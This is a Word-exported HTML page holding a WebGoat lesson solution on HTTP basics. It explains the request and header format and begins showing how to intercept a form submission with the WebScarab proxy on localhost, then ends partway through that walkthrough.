<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> Http
|
||||
Basics <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson
|
||||
presents the basics for understanding the transfer of data between the browser
|
||||
and the web application.<br>
|
||||
<br>
|
||||
Client Request: <span style='mso-bidi-font-weight:bold'>How HTTP works:</span> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>All HTTP transactions
|
||||
follow the same general format. Each client request and server response has
|
||||
three parts: the request or response line, a header section, and the entity
|
||||
body. The client initiates a transaction as follows: <br>
|
||||
<br>
|
||||
The client contacts the server and sends a document request <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><br>
|
||||
GET /index.html?param=value HTTP/1.0<br>
|
||||
<br>
|
||||
Next, the client sends optional header information to inform the server of its
|
||||
configuration and the document formats it will accept.<br>
|
||||
<br>
|
||||
User-Agent: Mozilla/4.06 Accept: image/gif,
|
||||
image/jpeg, */* <br>
|
||||
<br>
|
||||
After sending the request and headers, the client may send additional data.
|
||||
This data is mostly used by CGI programs using the POST method.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Enter your
|
||||
name in the input field below and press "go" to submit. The server
|
||||
will accept the request, reverse the input, and display it back to the user,
|
||||
illustrating the basics of handling an HTTP request. <br>
|
||||
<br>
|
||||
The user should become familiar with the features of WebGoat by manipulating
|
||||
the above buttons to view hints and solution. We have to use WebScarab for the first time<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Add a Proxy on localhost in the settings of your browser. Then you can start WebScarab .We have to select "intercept request" in the tab "Intercept".<o:p></o:p></span></p>
|
||||
|
||||
<img src="lesson_solutions/HttpBasics_files/webscarab1.jpg">
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Intercept Request<span
|
||||
style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Fill out your
|
||||
name and click the button Go! We get a new WebScarab window, where we can find the parameter person.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
